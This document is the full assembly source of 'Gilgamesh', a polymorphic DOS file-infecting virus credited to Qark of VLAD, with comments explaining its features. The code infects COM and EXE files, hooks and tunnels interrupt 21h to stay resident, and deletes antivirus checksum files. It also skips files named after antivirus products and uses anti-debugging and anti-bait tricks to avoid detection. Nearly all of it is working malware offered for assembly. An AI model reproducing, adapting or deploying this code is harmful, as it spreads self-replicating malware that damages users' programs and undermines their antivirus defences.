; ; Gilgamesh Virus ; by ; Qark [VLAD] ; ; ; Gilgamesh does this stuff: ; Infects COM and EXE ; Deletes AV checksum files ; Contains anti-debugging code ; Uses recursive tunneling ; Doesn't infect AV programs ; Contains anti-bait code - ; (I invented these next two ideas I think) ; Won't infect files with numerics in the name ; Won't infect files/directories with 'vir' as part of the name ; Won't infect files with todays date. ; Highly polymorphic (Will discuss the engine separately) ; ; ; The DOS interrupt call at the beginning of the virus serves 4 purposes. ; 1) It does the residency check ; 2) It gets the DOS segment for the tunneller ; 3) The return from the int leaves the delta offset on the stack ; 4) Performs anti-debugging, because debuggers will destroy the stack ; ; Gilgamesh is named after the God-Emperor of Mesopotamia. ; ; Assemble using a86. It will want an include file 'vipz.asm', which is the ; next article. org 0 ;Get DOS list of lists & our residency check. mov ax,5253h int 21h our_offset: cld ;Anti-Debugging, Anti-Heuristic way of getting our delta offset. mov bp,sp mov di,[bp-6] sub di,offset our_offset ;DI = delta offset mov si,di cmp ax,5352h jne not_resident push ds pop es jmp exit_virus not_resident: mov word ptr [di+loopcount],0 mov word ptr [di+dosseg],es push ds pop es ;0008:0004 is the int21 vector address. mov ax,8 mov ds,ax mov si,4 ;Save int 21 address incase we can't find it. mov ax,word ptr [si] mov word ptr cs:[di+adr21],ax mov ax,word ptr [si+2] mov word ptr cs:[di+adr21+2],ax ;Recursive Tunneler. ; ;The loop below traces through the int 21 code looking for the ;original handler. get32ptr: ;DS:SI points to int 21h lds si,ds:[si] mov ax,ds cmp ax,word ptr cs:[di+dosseg] je founddos next_opcode: lodsb cmp al,0eah ;JMP FAR PTR je get32ptr cmp al,9ah ;CALL FAR PTR je get32ptr inc word ptr cs:[di+loopcount] cmp word ptr cs:[di+loopcount],1000 je nodos jmp next_opcode founddos: mov word ptr cs:[di+adr21],si mov word ptr cs:[di+adr21+2],ds nodos: mov si,di xor di,di ;Get MCB seg. mov ax,es dec ax mov ds,ax ;'Z' MCB. cmp byte ptr [di],'Y' jb exit_virus sub word ptr [di+12h],((offset virus_size/10h)+1)*3 sub word ptr [di+3],((offset virus_size/10h)+1)*3 mov ax,word ptr [di+12h] push es mov es,ax push cs pop ds push si mov cx,offset virus_size rep movsb ;Set int 21. mov ds,cx mov si,21h*4 mov di,offset i21 movsw movsw mov word ptr [si-4],offset int21handler mov word ptr [si-2],es pop si pop es exit_virus: push es pop ds ;If CS != SS then it must be EXE. mov ax,cs mov bx,ss cmp ax,bx jne exe_exit com_exit: mov di,100h-2 scasw push di mov ax,1111h org $-2 first2 dw 20cdh stosw mov ax,1111h org $-2 third dw 90h stosw zero_regs: xor ax,ax xor bx,bx xor cx,cx xor dx,dx xor si,si xor di,di ret exe_exit: mov ax,ds add ax,10h add word ptr cs:[si+offset exe_return+2],ax call zero_regs mov ax,ds add ax,10h add ax,0 org $-2 orig_ss dw 0 mov ss,ax mov sp,0 org $-2 orig_sp dw 0 jmp short $+2 xor ax,ax db 0eah ;JMP FAR PTR exe_return dd 0 sig db ' =Gilgamesh= by Qark - A VLAD Australia Production' Int21handler: cmp ax,5253h jne not_res_chk xchg ah,al iret not_res_chk: pushf push ax xchg ah,al cmp al,4bh je check_infect cmp al,6ch je check_infect cmp al,3dh je check_infect exit_handler: pop ax popf db 0eah i21 dd 0 check_infect: push bx push cx push dx push si push di push ds push es cmp al,6ch jne no_fix_6c mov dx,si no_fix_6c: ;Get fully qualified filename. mov si,dx mov di,offset filename push cs pop es mov ah,60h call int21h push cs pop ds cld ;Calculate the length of the name string. mov di,offset filename mov al,0 mov cx,129 repne scasb sub di,offset filename mov word ptr namelength,di mov bx,'RI' ;Search for the string, VIR mov al,'V' mov cx,word ptr namelength next_letter: mov di,offset filename repne scasb jne no_letter_found cmp word ptr [di],bx jne next_letter no_inf_jmp: jmp no_infection no_letter_found: mov di,offset filename add di,word ptr namelength sub di,4 cmp word ptr [di],'XE' jne trycom cmp byte ptr [di+2],'E' jne no_inf_jmp jmp short found_exe trycom: cmp word ptr [di],'OC' jne no_inf_jmp cmp byte ptr [di+2],'M' jne no_inf_jmp found_exe: mov al,'\' std mov cx,14 repne scasb inc di inc di cld mov ax,word ptr [di] cmp ax,'CS' ;SCan, SCandisk je no_inf_jmp2 cmp ax,'BT' ;TBscan, TBclean etc je no_inf_jmp2 cmp ax,'-F' ;F-prot je no_inf_jmp2 cmp ax,'UG' ;GUard (solomans) je no_inf_jmp2 cmp ax,'VA' ;AVp je no_inf_jmp2 cmp ax,'VD' ;DV je no_inf_jmp2 cmp ax,'HC' ;CHkxxx je no_inf_jmp2 cmp ax,'RP' ;PRogman.exe je no_inf_jmp2 ;Now make sure there are no numerics in the filename. mov si,di oknumeral: lodsb cmp al,'.' je done_name cmp al,'0' jb oknumeral cmp al,'9' ja oknumeral no_inf_jmp2: jmp no_infection done_name: ;Remove readonly attribute. mov ax,143h mov dx,offset filename xor cx,cx call altint21h jc no_inf_jmp2 ;Open file. mov ax,3d02h call int21h jc no_inf_jmp2 ;File handle into BX xchg bx,ax ;Get date and time mov ah,2ah call int21h ;Convert into file date format xchg cx,ax sub ax,1980 mov cl,4 shl ax,cl or al,dh mov cl,5 shl ax,cl or al,dl ;If file date = todays date, then don't infect. push ax mov ax,5700h call int21h pop cx cmp cx,dx jne save_time bad_time: jmp com_close_quit save_time: mov ax,5700h call int21h mov word ptr time,cx mov word ptr date,dx mov ah,3fh mov dx,offset readbuffer mov cx,100 call int21h jc bad_time mov si,offset readbuffer ;Check for an EXE header. mov ax,word ptr [si] or ax,2020h ;Convert 2 lower-case, anti-heuristic cmp ax,'zm' je exe_header cmp ax,'mz' je exe_header ;Save the first 3 bytes. lodsw mov word ptr first2,ax lodsw mov word ptr third,ax cmp ah,'V' je bad_time ;Lseek to the end. call lseek_end ;Check the file size. or dx,dx jnz com_close_quit cmp ax,2000 jb com_close_quit cmp ax,60000 ja com_close_quit push ax add ax,100h mov word ptr delta,ax pop ax ;Calculate the jump offset. sub ax,3 mov word ptr new3+1,ax mov al,1 call setup_poly ;Write the virus. mov al,40h mov dx,offset stackend call altint21h jc com_close_quit ;Lseek to the start. call lseek_start ;Write the jump. mov al,40h mov cx,4 mov dx,offset new3 call altint21h call chksum_files time_close: ;Restore time. mov ax,157h mov cx,word ptr time mov dx,word ptr date call altint21h com_close_quit: jmp close_quit exe_header: cmp word ptr [si+1ah],0 ;Overlays. jne com_close_quit cmp word ptr [si+18h],40h ;NewEXE jae com_close_quit cmp word ptr [si+0ch],0ffffh ;Maxmem jne com_close_quit cmp word ptr [si+12h],0 ;Infected ? jne com_close_quit mov ax,word ptr [si+0eh] mov word ptr orig_ss,ax mov ax,word ptr [si+10h] mov word ptr orig_sp,ax ;Saved the SS:SP push si add si,14h mov di,offset exe_return movsw movsw ;Saved the CS:IP pop si call lseek_end ;Check for overlays. push dx push ax mov cx,512 div cx inc ax cmp word ptr [si+4],ax pop ax pop dx ja com_close_quit cmp dx,7 ja com_close_quit or dx,dx jnz no_small_check cmp ax,5000 jb com_close_quit no_small_check: mov cx,16 div cx sub ax,word ptr [si+8] mov word ptr [si+14h],dx mov word ptr [si+16h],ax mov word ptr delta,dx add dx,offset stackend-16 and dx,0fffeh inc ax mov word ptr [si+0eh],ax mov word ptr [si+10h],dx mov al,0 call setup_poly mov al,40h mov dx,offset stackend call altint21h jc close_quit call lseek_end mov cx,512 div cx or dx,dx jz no_page_fix inc ax no_page_fix: mov word ptr [si+4],ax mov word ptr [si+2],dx zero_ax: in ax,40h or ax,ax jz zero_ax mov word ptr [si+12h],ax call lseek_start mov al,40h mov cx,1ch mov dx,si call altint21h call chksum_files jmp time_close close_quit: ;Close file. mov ah,3eh call int21h no_infection: pop es pop ds pop di pop si pop dx pop cx pop bx jmp exit_handler ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ altint21h: xchg ah,al ;Backwards int 21 int21h: pushf db 9ah adr21 dd 0 ret ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ lseek_start: mov al,0 jmp short lseek lseek_end: mov al,2 lseek: mov ah,42h xor cx,cx cwd call int21h ret ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ chksum_files: ;Deletes AV checksum files. push ax push cx push dx push si push di mov di,offset filename add di,word ptr namelength ;Find \ std mov al,'\' mov cx,16 repne scasb cld scasw ;ADD DI,2 mov si,offset crc_files outer_crc: push di crc_loop: movsb cmp byte ptr [si-1],0 jne crc_loop mov ah,41h ;Delete file mov dx,offset filename call int21h pop di cmp si,offset end_crc jb outer_crc pop di pop si pop dx pop cx pop ax ret crc_files db 'ANTI-VIR.DAT',0 db 'CHKLIST.CPS',0 db 'CHKLIST.MS',0 db 'CHKLIST.TAV',0 db 'SMARTCHK.CPS',0 db 'AVP.CRC',0 db 'IVB.NTZ',0 end_crc: ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Setup_poly: ;AL=1 if com file. ;Returns CX=size to write plus stuff in stackend push ax push bx push dx push bp push si push di xor si,si mov di,offset stackend mov cx,offset virus_size mov bp,word ptr delta call vip pop di pop si pop bp pop dx pop bx pop ax ret ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ include vipz.asm ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ new3 db 0e9h,0,0,'V' delta dw 0 time dw 0 date dw 0 loopcount dw 0 dosseg dw 0 virus_size: namelength dw 0 filename db 128 dup (0) readbuffer db 128 dup (0) db (offset virus_size - ($-offset virus_size)) dup (0) stackend: